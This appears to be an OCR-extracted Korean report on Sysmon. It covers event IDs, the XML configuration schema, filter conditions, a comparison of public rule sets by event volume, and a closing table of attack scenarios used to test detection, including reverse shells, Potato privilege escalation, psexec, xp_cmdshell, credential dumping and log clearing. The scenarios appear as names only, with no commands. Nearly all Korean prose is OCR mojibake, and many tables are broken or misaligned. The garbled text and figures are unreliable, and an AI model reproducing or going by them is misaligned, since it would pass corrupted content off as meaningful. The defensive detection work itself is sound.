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2. Sysmon 0|2t?
Sysmon(System Monitor)2 Microsoft At2| Sysinternals Suite O ZESHE! AJAH DLEE =32, A|AHIGIA

UOiLt= OHIE ARY(ZZAA MY, OMIE HZ F)S O AMsH7| 7|Zlct. OME =777t HIIX| = YEE F7iz

L= O

7IE = | MR0l SAXKEE YHITE)7H Ect 2y AR AAR O FE ol SS AMHsk=H B2 =20
e
2.1. Sysmon 8 7|s
Sysmon OlM= CH3at 22 FQ 7|53 XI&6k ULt
I 1] Sysmon F2 7|5
k=l FQ s
1 I DRMAQ} HE T2AAC DRAA MM Hu
2 o2 SHA| Y12|F (SHAT, SHA256, IMPHASH)E AR8al L2A|A O|0X| mMo| SHA| 2t 715
3 042 oAl LE|E SA M8 ks
4 OZMA MM OMIEN DZ=MA GUID & E&6 Windows OA Z2MA ID & MAESE 40T 0HIEQ|
HEA 24 ks
5 2} OHIEO]| MM GUID & Z&loll SYSH 22 MIMO| OHIE A 2 B 7t
6 E2i0|tf &= DLL 2EEE MY 2 SiA| HEet 8l 7|15
7 OA3 2 £&9| Raw Access Read 0f| CHEH O[HIE Z=XH
8 HERT HAS ATok= Source Z2MA, IP F4, Port HS, SAE & Port HE 7|12
9 SAX}E (= YHTE)7t HESHE THY M AlZt EHX|
10 eIXIAEZ|0M Configure 7} HAE Z2, Configure £ XSO = CiA| EE
1 ZEE AZIS 0|85 £ O|HIES Ealot/A Lt M2l 7ts
12 28 HXIEE Sysmon 0| SEGH A|AR T2MAO| XA HLIEE 3
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2.2. Sysmon O[HIE

Sysmon OflA= Microsoft-Windows—Sysmon/Operational.evtx'0f Of2(2} Zt2 O|HIES X{Zlo}HH,

09k

=
=

Otef| ot ZLY.

ol

7} OMIE &=

0
rlio

H 2] Sysmon O[HIE &=

O[HIE ID OHIE ¥ 23
1 Process Create MEZ SHE T2HA St HEE 715
2 File Creation time changed M M- AlZH0] ZE2MA 2ol ~HE I 7|15
3 Network connection detected A|ABIO| TCP/UDP %2 7|2
4 Sysmon service state changed Sysmon AjH|A AEH (AR = SX)) 7|12
5 Process terminated D=MAT S22 I 715
6 Driver loaded AARI 2E E= E2I0|E FHE (E210|2 SHAL, ME B2 §) 715
7 Image loaded O2MANM 20| 2E 2 I 7|12
8 CreateRemoteThread detected DS MAT} CHE Z2MANM AHES M I 7|2
9 RawAccessRead detected O2MATF EQO(E0N ¢7] Zigls A I 7|15
10 Process accessed O2MAT} OHE D2MA H2E I 7|15
11 File created DAL IUS WMGHAL HOiE I 7|=
12 RegistryEvent, Object added or deleted O2MATLYXAEL] 7| = oS dd F AN I 7|5
13 RegistryEvent, Value set O2MATt HXAEZ| 42 88 I 7|2
14 RegistryEvent, Object renamed OZMAT} HXAEZ| O|E2 HAY I 7|5
15 File stream created THE MY AEZO0| YdE I 7|5
16 Sysmon config state changed THE 20 HEE ZR2t 20| Sysmon A% HF UWE0| 7|15
17 PipeEvent, Pipe Created THE IO|T7H WdE I 7=
18 PipeEvent, Pipe Connected S20[ER} MH 710 BHE Io|Z HZO| O|F0H I 7|1%
19 WmiEvent, WmiEventFilter activity WMI OMIE TEp} S22 0 7|2
detected
20 WmiEvent, WmiEventConsumer activity WMI Consumers 7} S2= f 7|2
detected
1 Wr-ni-Event, WmiEventConsumerToFilder WMI Consumer 7} ZIE(0] HOIZ! 1 mf 7|2
activity detected
9 DNSEvent, DNS query HE 0L} TAIQI0| T2MATZL DNS HEIE Ale m,
Al E|7ALE FHAL =IX| = T 71=
23 FileDelete, File Delete archived AARION DfUO| AXISHE I 7|1=
24 Clipboard changed AAE SEHE LHEO| HEE I 7|15
25 Process Tampering OENA HX 7|20 BXIE I 715
26 File Delete logged AARIOIAN THUO| AKISHS T 712 (ArchivedDirectory X% 2t 8t
27 File Block Executable o I WdsS EXlotl X I 71=
28 File Block Shredding oY b AMH| =72 2 AKX A=E EfX(ot XTSI 7|1=
29 File Executable Detected A mI0| WdE I V1=
255 Error report Sysmon L{OflA IV} UAHS I 7|15

T Sysmon OHIEZ ] NE AZE= “C:\Windows\System32\winevt\Logs\Microsoft-Windows—Sysmon/Operational.evtx”O|LC},

_5_
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2.3. Sysmon Configure

Sysmon S 7|2 2FC=2 HXjoH EH 27 X Y= OMIEUESRZ ZE, oY 44 I M|, YXAE2 HY
)7t EXfettt. 1L, Sysmon HHS 2F 2dalel 2o LR B2 HI0|E7t 22 =0 /17 E@XIS /et O[HIET}

[ESymm
2o 44

12 o= QU 0|= QI6 RIYS EXlot7| flofl 2ot CIOIEE 2A=E 4= Qo] MRl 1Y A7 KL
M2k, 2

Foll U AlAE B HHEE X0 H= Configure £ 2HJ5HO0F SHTH.
Configure A2 XML FAICZ ZHYE|0] ROM, OHIE RH0| HolE =0 =2| St (AND, OR)S XEal ZEY

2.3.1. Sysmon Configure 714
Sysmon Configure = Of2lf FFS= ELY.

T 3] Sysmon Configure 74 &=

=

iz

E:

{Sysmon) Configure File 2| =[M&¢| QAZ Schema Version 2|

{Configure_Entries) Sysmon Meta Config(Hash Algorithms &) &2

(EventFiltering) Sysmon O[HIE LEHZIZ 2[5t Q4

{RuleGroup) 2 72| OHIEQ CHot 2HES JISslol =2 it ME
(Event_Tag) TEHYS OMIE XM

(Field) OHIEOIM EEEY HE X

<Sysmon schemaversion="©.88">
<Configure_Entries>...</Configure_Entries>
<EventFiltering>
<RuleGroup name="", groupRelation="">
<Event_Tag onmatch="">
<!-- Filtering -->
<Field condition=""> ... </Field>
<Rule name="", groupRelation="">
<Field condition=""> ... </Field>
</Rule>
</Event_Tag>
</RuleGroup>
</EventFiltering>
</Sysmon>

[2Z 1] Sysmon Configure 74 GllA|
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2.3.2. Sysmon Configure Entries

Sysmon Configure Entries =

Entries 2= Of2l B2t ZLCt

St

il

Configure I LHOIIA Sysmon AHIUS K™Y 4 UCH, Sysmon Configure

H 4] Sysmon Configure Entries &=

o= 1= Etd a3

ArchiveDirectory String )_imlil_l 0] Xf&= Volume roc_)ts CIEIEIE Ol A

i Cl2E2l= AIAR ACLZ 25 (712 2k Sysmon)
CheckRevocation Boolean HXIE ME ZAL 71 HO] 04 (712 2k True)
CopyOnDeletePE Boolean AFHIE PE DY ArchiveDirectory S2AH 0I5 (712 Zf: False)
CopyOnDeleteSIDs Strings Ik AH| Al ArchiveDirectory 0l SAIE AN SID 22
CopyOnDeleteExtensions Strings If AK| Al ArchiveDirectory 0| 2AF EXIAtH 22
CopyOnDeleteProcesses Strings ol Al A| ArchiveDirectory Ol ZAIEE ZZ2MA 22
DnsLookup Boolean Reverse DNS lookup X0 45 (7|2 2Zk: True)
DriverName String Sysmon Driver 2! Service 0|22 X|YE 0|EC= A3l
HashAlgorithms Strings Hash 0l 12! Hash Slels S5

- X[ ¥112|E: MD5, SHAT, SHA256, IMPHASH 3! *(All)
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2.4. Sysmon Configure Rules

2.4.1. RuleGroup

RuleGroup 2 &2 E&2| O[HE TESS &3kl

ot

—

o

el

et 2= UL} RuleGroup & 61| Event Tag Tt 7+

oM, “groupRelation” £AS AF5 TE 7t =2
o

(o]
M-

0, E O|&29| CIZ2 Event Tag 7t Y= E A

HHIH Event Tag Bt MEEICt Schema Version 4.22 OAOIA ZE| 7t 7|2 A= “AND’2 MAHE|0] ULt

</RuleGroup>

<RuleGroup name="Group Name", groupRelation="and|or">

[J2 2] RuleGroup A2 OA]

2.4.2. Event_Tag

Sysmon Configure OflA 2EZo| ?loliAl= O[HIE B= FOIH EiT1S ALEHOF otH, F2E Event_Tag

Otef| ot ZLY.

J
r

o2
o

[E 5] Sysmon Configure Event Tag &=

O[HIE ID OHIE & =
1 Process Create Process Create
2 File creation time changed FileCreatedTime
3 Network connection detected NetworkConnect
4 Sysmon service state changed N/A
5 Process terminated ProcessTerminate
6 Driver loaded DriverLoad
7 Image loaded Imageload
8 CreateRemoteThread detected CreateRemoteThread
9 RawAccessRead detected RawAccessRead
10 Process accessed ProcessAccess
1" File created FileCreate
12 Registry Object added or deleted RegistryEvent
13 Registry Value set RegistryEvent
14 Registry Object rename RegistryEvent
15 File stream created FileCreateStreamHash
16 Sysmon config state changed N/A
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OMIE ID OHIE & i1
17 Pipe Created PipeEvent
18 Pipe Connected PipeEvent
19 WmiEventFilter activity detected WmiEvent
20 WmiEventConsumer activity detected WmiEvent
21 WmiEventConsumerToFileter activity detected WmiEvent
22 DNS query DNSQuery
23 File Delete archived FileDelete
24 Clipboard changed ClipboardChange
25 Process Tampering ProcessTampering
26 File Delete logged FileDeleteDetected
27 File Block Executable FileBlockExecutable
28 File Block Shredding FileBlockShredding
29 File Executable Detected FlleExecutableDetected

2.4.3. onmatch
Event_Tag A BIEA| “onmatch” &2 X|45H0f StH, O[HMIEZt UX|GHA| £[H onmatch £42| 442! “include” 2t

“execlude”0l| M2} O|HIES HBISEAL HQIE 4= AL,

<ProcessCreate onmatch="include|exclude">
<Field>...</Field>

</ProcessCreate>

[22 3] “onmatch” &4 A2 GiA|

“onmatch” &4 Zf0f| Cigt A2 Of2lf HQF ZLt.

[Z 6] “onmatch” £ Z

=
&N

M
=

(03]

Rule Of|A|

(Event_Tag onmatch="include”)
include | ol Event Tag O CHSH O[HIES 7|256HX| %S

{/Event_Tag)

(Event_Tag onmatch="exclude”)
exclude | oiE Event Tag Of| CHSE HE O|HIES 7|2
{/Bvent_Tag)
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2.4.4. Filtering (Field and Condition)

T3S 4 ULt 5

Z=XI5IC} Field 20 TSt condition 2
condition O] A

MMP=H ARZEL.

9| Field &

H A 7[2Hoz U2 “is"E MEE|H, name &4

TERISH| el “condition” $42 ALSE 4 ACH, 2t Field 0= 0 7§ 0lAte| TE(}

U5t Field 0|20 L3t WE{= OR X7102 =

=X 7= §lo

X511, CH2 Field 0[20f CHat
| AR 7HS3ic
O[HIE

ZH= AND X7ie=
Ofell et Z0| Cha

EJ} 7|12 [ O|HIES| RuleName ZEZ

<Image name="Rule

Name" condition="is">C:\Windows\system32\audiodg.exe</Image>

[ 4] condition &4 A2 Of|A|

Sysmon Configure Condition 52 Of2ff Ht ZITt.

[& 7] Sysmon Configure Condition &=
A= 1
is w0l Y (712 %)
is any L= MOIZE()SE +2E % 3 oiLt
is not Wo| TS
contains ZEo| ohE af 28

contains any

o] MOIZE()SE F2E o 2

contain all

ZEO| MO0z T & 25 28

excludes

ZE0 2ol ets

excludes any

ZE0| MOIZ2()22 F1=E 20l 5t Ok Sig

excludes all e MOIZE()SE F2E U0l 25 gz

begin with LCTL i AU AR

end with 2Lt oliE Uz &

not begin with HETt oY AUCE AIREX| 4

not end with oIt oS AR BEEX| U2

less than HlW Al O £Ct 22

more than HlW Al 0 2Lt 2

image 0|0|X] Z=7t LX5h= 22 (NI B2 E= 0|0|X] HOE X|IF 7ts5)

_10_
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Sysmon Configure Rule & HEA| A&ot=7101| L2} 7|Fkl= OMIET}t HEIX[H, SZXH B0 CHet =121 HE
B|E5H 4 QU=X|0f CHEH OIS0t AMEICE. 710 AfO|H LI EIX| 2X o2 HAL|UH Sysmon Configure £°| Rule 2
| 2 2MsH OHIE 14 & 21t Sysmon Configure 2 HASH 2 7|22 OIS, M=l Sysmon Configure

A0 Hlw 3 ZAg Configure A7t 417 7|&2 OfF2Het ZT.

(£ 8] M A7 MY 7IE

T

HS ES
1 QEAA HEHZ QL0 SHE|0] U0 Configure Off 20| 203l 2 ALAt Rule E&
2 Z|CHSH HUSHA| MOIH &S XIS OMIEZ =2
3 AO|H S BAIZ 5= U= O|HIES F4 OMIELCt O Bo| 2T = JUxE 714
4 Z4E Rule O] =1Lt 7| Olaliot &&E 4= A 74

YoM HelE 7|1Z0] et Er=2at 22 37H2] Sysmon Configure AE MHHCH

H 9] MEE MY o7 22

= ZZHE 3 O2HE URL
SwiftOnSecurity sysmon-config https://github.com/SwiftOnSecurity/sysmon-config
Neo23x0 sysmon-config https://github.com/Neo23x0/sysmon-config
olafhartong sysmon—-modular https://github.com/olafhartong/sysmon-modular
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3.2.1. [SwiftOnSecurity] sysmon-config
SwiftOnSecurity Sysmon Configure = Rule 2| 71| 2= FE0| FA0| U1, Event ID & AHO| ZHE|0] U7|

20 SysmonOf THet RAEEA H 710|1= HSS +Aotal UL SFX|TH 20213 108 0|0 HOI0IEE|X| g0t ZIZ0
ot 2 ZSE|0] UK BAC.

AHH|0|EE Sysmon 2| 7t O[#IEV| CHSH Rule
Sysmon Configure S0IM 7He &2 HZAMS 7HX|1 QU0| Sysmon & AR5 T2 AFBXI7t i Configure

2 Sysmon Configure £0| siY S1S

MEaH AEotal ACH, Github 2| B2 3ol gkl RACY.

3.2.2. [Ne023x0] sysmon—config

Ne023x0 Sysmon Configure = SwiftOnSecurity 2| Sysmon Configure A 27| &
X20l= =5| SwiftOnSecurity 2| Sysmon Configure £ E3 X2t 0| 30 7H 0|9 AR HAE0| XA

= i

g g1 37K 2 g4,

FZ=5| HOIO|ER|T ACt. DfX|He=Z 2023 A 6 ZHojl YLI0IEX|0{ SwiftOnSecurity HTUHA 7IZEIX| 42 O|HIE

Q80| Z3telof AL

3.2.3. [olafhartong] sysmon—modular

olafhartong Sysmon Configure = 2023 3 9 20| OIX|2{CZ AH|0|EE|AUCH, MITRE ATTRCK 2 7|HIOZ Hiist
U= WPIE OMIEN MBAF SAXC| HRASE AL = UATE AFIMLL ESL Event ID Y E=

1

Q10 AFBXI7} Configure 2 A4/ EIMBIa] 258 & LS HERHC

A

_12_
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AOIH IS EX[S7| et Weks SFsitt. 0I5 flofl, 2t
Configure & &7 PC 0| MEol HFAIZI0| LYot O|HIES H|W FAISH,. EA% MY H719| Configure LY S52
Of2Het ZLt.

[E 10] M8 M3 91719| Configure ItY =2

=1C] OZHE © Configure File

Microsoft - Configure M& Qi0| 7|2 AX|

SwiftOnSecurity sysmon-—config sysmonconfig—export.xml

sysmonconfig—trace.xml

Neo23x0 sysmon-config
sysmonconfig—export—block.xml

olafhartong sysmon—modular sysmonconfig-mde—augment.xml

3.3.1. Sysmon 74 g=

= = QU O|m, HMEE HF0AM

ri
Il
HT
i
fo
)
Q'E

Sysmon 2 MX[5i1 M =g SOIGIH Sysmon Off MA

“Network connection”, “Image loading”, “CRL checking”, “DNS lookup” 20| CHSH &M 0{2Z 31015t 4 QICt,

Current configuration:
Service name: Sysmon

Driver name: SysmonDrv
Config file: C:#WUserst #Down | oads#iSysmon#Sysmon .exe —i

HashingAlgorithms: SHAZ56
Network connection: disabled
Archive Directory: -

Image loading: disabled
CRL checking: enabled
DNS |ookup: enabled

[723 5] Sysmon 7|2 4% & 74 4%

tH (sysmon —¢ EZ Z1p)

fon

Zf S0 tiet 232 OfH EF 2T

—_

[E 11] Sysmon 2% FHOM &2l 7hs¢t S8

T4 g5 Sl
Network connection HERT HAS ZLEHZGSI JCH, &Mst:l0] /= 249 HIERYT &3 FH It
Image loading DLL 228 EX|olH, &ML = 4L MZ2 DLL 22 AlY J1s
CRL checking CIXIE QIBMQ REMS &0lotl! CRL S ZAIGHH, 2SO U= B2 HOt QISA A &l
DNS lookup DNS Z3|E EfX[5HH, EH3IE|0] U AL SAEQ| 0|22 IP FAZ HEGH= 1Y 01 75
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Sysmon 2 7|2 MX|3HS [, Network connection, Image loading AZ0| HIEMSIE|0] HELT 2} 0|0|X|0f CHEE
O|HIEES EfX|olX| 24=Lt. SwiftOnSecurity = Image Loading = H|Qlot! 25 &Mskotll U1l Neo23x0 = BE
M2 BMEH 22 EITE TARCH CH olafhartong OIS AIAY M52 Tafs 712 BASIEY = CRL

checking 1t DNS lookup 282 HI2-dalsl TE=IRACt. 2t - & Configure X 2Y2 Ot HQ} 2L,

H 12] @17 €2 M8 74 ¥ HI

7N elE Microsoft SwiftOnSecurity Neo23x0 olafhartong
Network connection disabled enabled enabled enabled
Image loading disabled disabled enabled enabled
CRL checking enabled enabled enabled disabled
DNS lookup enabled enabled enabled disabled

3.3.2. Configure MU0 H2|E Rule S5
Zt M3l H19| Configure IO 2|l Rule 221t Rule Off LSt “onmatch” &4 E7i= Of2 B9 ZiCt.

H 13] 2t M3l A9l Configure TFU0| HMO|= Rule 52 2 “onmatch” 4 E7

A ZOEX] §F, O BF VI, - VIS5 2

SwiftOnSecurity Neo23x0 - trace Neo23x0 — sysmon olafhartong
O[HIE ID OHIE ¥
include | exclude | include | exclude | include | exclude | include | exclude

1 Process Create A 138 A 18 A 147 298 176

2 File Creation time changed 3 9 © 3 9 6 7

3 Network connection detected 84 9 A 28 100 14 145 29

4 Sysmon service state changed © © © ©

5 Process terminated 2 - © © 3 A

6 Driver loaded A 3 © © -

7 Image loaded - - 20 5 VAN 67 14

8 CreateRemoteThread detected AN 9 © AN 9 2 9

9 RawAccessRead detected - A 6 - -

10 Process accessed - A 50 4 2 42 62

1 File created 53 M A 15 82 12 103 30
12,13,14 RegistryEvent 114 52 A 43 133 52 246 99

15 File stream created 19 -

16 Sysmon config state changed © © © ©

_14_
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S
A ZOEX| 9, O BF 715, - VIS5 g
SwiftOnSecurity Neo23x0 - trace Neo23x0 - sysmon olafhartong
O[HIE ID OHIE ¥
include | exclude | include | exclude | include | exclude | include | exclude
17,18 PipeEvent 9 A JAN 3 49 3 16 65
19, 20, 21 WmiEvent © - © ©
22 DNSEvent, DNS query A 209 A 1 VAN 208 -
23 FileDelete, File Delete archived - - - 98 7
24 Clipboard changed - © - -
25 Process Tampering - - A 15
26 File Delete logged - A 3 - 7
27 File Block Executable - - 223 A -
28 File Block Shredding - - 713 A -
29 File Executable Detected - - - ©
255 Error report © © ©

_15_
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Sysmon= 0|88t SAE 7[HI9| AlO[H] @ =2 ot 34
3.3.3. Ml A M Aut
Mal HTL0|IA Q1= Sysmon Configure IUS MR35 HIAEFOM, HAE St4nt Zij= Cr2ut 2Tt
H 14] M A7 M HAE 24 2 DL EHE 7|2t
= &
HAE 34 Windows 10, Windows 11
HAE 8 AFE PC (BA 2, 71, AT =6 =7 ([MAX S) Mg, 8l BEIRKE S5t 2M )
SLEHE 7|12 | 2023-08-14 ~ 2023-09-15, BT AR A2 (R 9A| ~ 2F 6 A))
7t 4% 10| Sysmon 2t MRSt ME{20IM ZZS ZLIEZSH 2o} 1 Y TF 2MB 2| O[HIET} whgHon,
“ProcessCreate”, “Processterminate” O[HIERF 7|ZSE|QUCt [MEtA, ZZXtO| HIE EfX|6t7| 2lo TSt HEYA
g, m Md 3 AN, YXIAEZ] HE SO Cigt HIOIHE &HES 4~ gl0| CHE OMIES| ol E= M=
Configure 2M40| QST
H 15] Sysmonft AX|5F SHANAM LME A 54 OHIE S=
LAE OHIE HIZ OHIE D OHIE &
50.04% 5 ProcessTerminate
49.89% 1 ProcessCreate
0.03% 4 Sysmon service state changed
0.02% 16 Sysmon config state changed
0.02% 255 Error report

0.02%

Sysmon service state changed

Sysmon config state changed —

Error report

0.02%

[23 6] Sysmonft AX

2 Sysmong Yk Configure IIYS MBI %1

O 7|2 “sysmon " HHOZ M

0.03%
ProcessTerminate
50.04%
ProcessCreate
49.89%
ot SHF0IM HYE o2 b7 OHIE

XS WE 20
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Sysmon2 0|28t

SwiftOnSecurity 2] sysmonconfig-export.xml IIUS X251 221S TLIEZSH A} 1Y TR 6~7MB 2| O[HIET}

2RO, O[HIETL 0| 2Mst &~ QU= “ProcessCreate”, “NetworkConnect”, “RegistryEvent”, “DNSQuery”

EA
EZ ZNMOE HO3 -0|XS SN 4 U U OMIET} 22 K| T2 TAMCE T2 2021 1 10 &

J x
HZ2| Sysmon MIA| X|@lck= O|HIE(EventlD 23 OlA)= 22 E[X|

0|2 Configure 0| CO|EE|X| 0F ZlM

E

OIUCE tESh A ZI0M “NetworkConnect’?t “FileCreateTime” O[HIEZ} 74& H0| 2Z /0] Rule Of CHEt

H 16] SwiftOnSecurity2| sysmonconfig-export.xm| MY ME & LHE 42 64 OME =5
LUYE OME HIZ O[HIE ID OHIE H

39.22% 3 NetworkConnect

24.63% 2 FileCreateTime

11.28% 11 FileCreate

11.11% 1 ProcessCreate

7.81% 13 RegistryEvent, Value set

RegistryEvent N\

FileCreate

NetworkConnect
39.22%

ProcessCreate —

11.11%

FileCreateTime

24.63%

Mg 5 YME 49 57f OME

ne

[2& 7] SwiftOnSecurity?] sysmonconfig-export.xm| If
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Neo23x0 2| sysmonconfig-trace.xml IYUS X 2ZS ZLEZHSH A 1 Y WA 600MB 2| OHIET}
MMM, Sysmon OflA X|5t= RS OMIEI BE 22 HEE N0 U0 TSt O[MIET 22 HLf 0|2

QI CF M3 %70| Configure 2 MBS WECH 22 T/t H127| G20 27 8YS O el XX

I

OMET} QS BIXIZ 4+ YU 52 OME

HOAE 4 UACk= AL AUCE HE 24, AMAE> ME T HXIAEZ

I

HE ZRA0| A2 LHE|0] “RegistryEvent” OHIETL 71 0| 22 UL

[E 17] Neo23x02| sysmonconfig-trace.xm| LI ME F LYME AQ 57 OHIE 2E

SHM=| O|HIE H|E O|HIE |D OHIE H
35.79% 12 RegistryEvent, Object added or deleted
21.04% 10 ProcessAccess

14.7% 13 RegistryEvent, Value set
13.57% 7 Imageload
4.31% 1 FileCreate

FileCreate -

Imageload

RegistryEvent,
Object added or deleted
RegistryEvent, 35.79%
Value set ) |
14.7%
ProcessAccess
21.04%

[ 8] Neo23x02| sysmonconfig-trace.xm| Y HME 5 2= AQ| 5l O|HE
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Afolbf 913 22 wot o1
25l 228 BUERS 21, 1 Y BF 8B 2| OMIET}
HIIBHC, St iR
st Z|xi57}

Neo23x0 2| sysmon

SAHOD, Oy WD =

—

config—export-block.xml LIS X
0]7] £laHi 0|E0] OH SHA| 72O 2 Rule 2

t E210|H =X|Q] HetdE =
FileCreateTime” O[HIEZ} 7% 0| 24 /0| Rule O CH

Z70|M “FileCreate”, “NetworkConnect”,
ZIQGICY,
[E 18] Ne023x02] sysmonconfig—export-block.xm| I} M2 & U= A2 5J| O|HIE 52
L= OHIE HIg OMIE ID OHE H
27.31% 11 FileCreate
18.33% 3 NetworkConnect
17.28% 2 FileCreateTime
14.51% 10 ProcessAccess
11.46% 1 ProcessCreate
ProcessCreate —
FileCreate
ProcessAccess — 27.31%
|
Flljc;re;:;'me NetworkConnect
e 18.33%
|
[22 9] Neo23x02| sysmonconfig-export-block.xm| It XK 5 HME AQ 57 O[HIE

_19_
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olafhartong 2| sysmonconfig-mde—augment.xml IS XE5H 2
OHIET} 2 AHEHO M Rule Off MITRE ATT&CK Techniques IDE OHZE A|7{ O 23 RIS EX[ot7| 2I8t Rule QIXIE
ot 22 E[== FOlE Rule 0] H0F A& OMIER Tt~ =2 E|0{ Rule O] CHer F71X01

o 4 QT2 HOPCY.

EEZO0| ol

[H 19] olafhartong®| sysmon-mde-augment.xm| MY ME & LHE &2 b OME =&
L= OHIE HIg O[HIE ID OHIE ™

54.7% 3 NetworkConnect
10.52% 13 RegistryEvent, Value set

9.33% 2 FileCreateTime

4.66% 10 ProcessAccess

417% 7 Image loaded

Image loaded
ProcessAcccess —.

FileCreateTime —
9.33% NetworkConnect
54.7%
RegistryEvent, —
Value set
10.52%

U XS 5 WYE 49 5 OME

[23 10] olafhartong®| sysmon—-mde-augment.xm| I}
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4.1. Sysmon Configure Rule i

AR A S AIE 240l SAX2| A0 thet M2kS HEFEelet MITRE ATTRCK T3 = SANS #9E

= 54
Algsh = U= TeYEZ Lol SLHOIME AO|H RS BXISKLL tHSoH/| 2l 0| =11 AC CiT HEEQ
H=0] APT 40| =5 O 20| LM AN =HE BIC=Z ot SAS EXlotl thSdk= Hl A7 AL

22 +F =2 SANS2 52 HAIE 2lTfot| foh AH0| £ast SAS M 2|& SHOL 34 =+ S5 2
Ao Ko 245t QUCH M0t 20| BHAHoR C2ili= ZZ0|H 7|0ME ALE HEA QXFE

UK 27 2FO| 0SSt ABHE SHA} AT oiiE BRA| SC= &8ols 32 21 FXZ AfLI0) oish eIt
ek ot |0 SHAI7H AT

= S70AME CfEzt Feiil 244 TS FE0| Cfet LolRE &2 =sUoIN Ldok= Tefet MOIH RS

4.1.1. 8y HLo| XpHH
M3l 1=l Sysmon Configure 52 Sysmon 2 EDRSAIAHIOZ 225| M| SXo| TLIEEN XS +

EME|QICE J2iLE, BIT-sysmon—config = DFIR “ZHROZ KI5 AO|H S EIX| L BMst I BAIP7L Q8%

—_

-

BRE 2RI £ U= Configure & ZFEUCE. M ALE Rule 1tQ| XIEF2 CHEat 2Tt

T 20] M3 A= Sysmon Configure Ruleto| XtEH

vz R
1| Clst AOIM I3 AlLtZIRE e O WS OJHIE 9| BiX| Tk
2| Sl o= SRS FRAH O BEek AHP I BRI Tks
3 | DFIRS XIgah| Sloh AZAEI0f, 2APDH DS M4apH 24510 U8 4 U2 S83 F M3
4| ZEEH MDA TitE £ 2K YIS HIs HAUKIOI AOJH IO CISE 4 JES A
5 | B2 ANl LIEYTY SHTH= AXE A0 HES FX) QORI SIHOR AOIH AT |

3 Endpoint Detection and Response?| 0|2, HEZQIEN A LASH= 23 QIS MAIZIOZ EX|5IT 0|2 BM 2 [125l= &

=]
4 Digital Forensics and Incident Response®| 0|2, ZIE U HEYT AJAHIO|A LASH ZSHAITE 25 0[0] CHEH ZAIE 58

ot= =OF
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4.1.2. O|IE 1d & FQ 2H

Sysmon 2

5 22t

E0M SHXS| HRZ 4

SHMOZ Rule 2H40|

[HE 21] 3HXOE Rule 40| HQ5t OME 78 24
OHIE ID OMIE & -4 24 A& 49
Image oY TEMATL HHE= 2 F=2
OriginalFileName SAN T2 8ol Y T2NA F
1 Process Create CommandLine HANE Sot AP
Hashes SAN T2 8otz Y T=MA GHA|
Parentlmage CMD, PowerShell 2 Solf M3liE|= TI2MA
Image 34 F2 E8ol= 4=
2 File creation time changed -
TargetFilename MM UA7F HE AE THU(exe) E EX
SAXL HIEHIE Solf A|AR M Al F=2
Image
_ MEdt= Z2MA
3 Network connection detected —
L S T2 8otz YRl ZE
DestinationPort
(SSH, Telnet, RDP S)
5 Process terminated Image SAXI 2 BESI= 420N SEE T2AMA
6 Driver loaded Hashes SAN T2 8otz Y E2t0|H SHA|
Imagel.oaded 34Xt =2 #8dh=DLL ¥
7 Image loaded ——
Hashes SAXIL T2 EEok= A DLL oA
8 CreateRemoteThread detected | Sourcelmage AAE ZZ0M UMSH= A AE MY EX|
Sourcelmage SRV T2 EEol= 42
Taraet] Process Injection, Credential Dumping 0ff &=
10 Process accessed argetimage S2E|= Il
Process Injection, Credential Dumping 34 &2
GrantedAccess = . ol
EXNg 2 = Access Flags
11 File created TargetFilename SAXRPL T2 EEok= 4= St
12,13 | Registry Event TargetObject SANL T2 28ol= HXAEL] =2
TargetFilename AR F2 &Eot= At
15 File stream create
Image g BERNE Sttt R2E2E A9 BX|
17,18 | PipeEvent PipeName o W Al F2 ALSEl= Pipe B
22 DNS query QueryName HERT LO0|=E XM7ot7| I3t DNS Query B
23 File Delete archived TargetFilename SAXt F2 &E6t= SHEAt
25 Process Tampering - O2NA HX 7|=S BX[o17| 2ol 2= OHIE 7|15
29 File Executable Detected Image PowerShell 2 Seot A3 Ol CIRZ2E
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4.2. @iQlof| w2 Sysmon 2 HAE
CHAZH ZIIAT 24 ZES W) BARP 52 235k H9IZ ASOKIGED, 0[O T2 Sysmon 212 27343

SiiE 917t Sysmon 2710 OJEH| J|SEEXIS BAEH RZKIS| HOIS HX[S| Yot OMES AlSgCt HAES

[H 22] 2 324 0| (=2 Sysmon 2 EHAE

Ch=t& ATE a2
4 MHE S5 of M M (IS, ASP)
M 4 MHE S5 o I Mo (Apache, PHP)
Windows Explorer £ S5t I} AN
Windows Explorer £ £8t It 43
AXY
T o
HIAE MY D2 73S S5t MY 4
Chrome HEtRXNE S5t HREE
Microsoft Edge HEIRXE S5t LIREE
ORzZC
Naver Whale E2{RKE S5t LI2EE
e PowerShell 333 S8t LI2EE
st AR (Delete)
A
4% At (Shift + Delete)
=k -
A 34 =7 A
Ctrl+c/Ctrl+v
A
< 22 S8 EA/ENEY]
2= SHiA| (Explorer) Windows Explorer & £8 2= K|
Ot= SHiA| (Tools) LS RYLIEIE EEdl L= Sl
MM Windows Explorer £ £5t 20 MM
ES S| Windows Explorer £ £5t 24 8
U4t AH| (Delete)
A
QM AbH| (Shift + Delete)
E4
ot -
=0
Ctrl+c/Ctrl+v
=2
< 228 St =EA/EEY]
3% 24 o




Sysmong 0|83 SAE 7|gte] Aol 9IF 27 et ¢in @ oLnaT

e A7 il
A SHA|
= 28 2o 8=
=0 oy
CMD £ £ MM
AHA]
oo o)
Windows &8s S6t MM
]IH)\_?_:II: =22 ]
A% g HE
A AN § g
CMD £ £5t AlX|
ALH

T1E S5t A5 (BadPotato)

rH
ror
0x
ol

TTE 55 A% (JuicyPotato)

&2 oA
Inbound RDP
22
Reverse Shell
Outbound RDP
22 Ne Inbound SR e 24
Zen - _
X -
o2
A -
X -
MHIA AX _
A -
CMD £ &5t ¥d
M
Xl AF||E2(taskschd.msc)S E6t MM
CMD £ 8¢t 8
HAAAZ +3
A AH|E2](taskschd.msc)S £t £H
CMD £ &6t AtH|
AFH|
Y AF|E2(taskschd.msc)E E5H ALK
PAINESEY =3 -

_24_
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U= AR 42|
CMD E Sall M4
AA
oo -
HIXIAER] HET| (regedit)E Sl 44
CMD £ 53l Name, Value =%
g X[AEE] =5
HXAER| TEI7| (regedi)S Sdll Name, Value =8
CMD £ &3l Name, Value =8
ALK
HXIAER| TEIT| (regedi)S Sdll Name, Value =8
A9 -
HE3I RRAS &4 -
VPN ¢iZ -
PowerShell £ Sol] Hz AldH
PowerShell
ps1 ATEE A3l
CMD € Safl 33 A
CMD
HH M bat ATJEIE Al
xp_cmdshell -
PowerShell A!34
psexec
CMD Al
HHM A7 ZAL HIZH St
HHA X M2 (MY, EO)
HHA| ofd m Az2|
OfE| LA O[HIEZT] ALK| wevtutil.exe HE Al
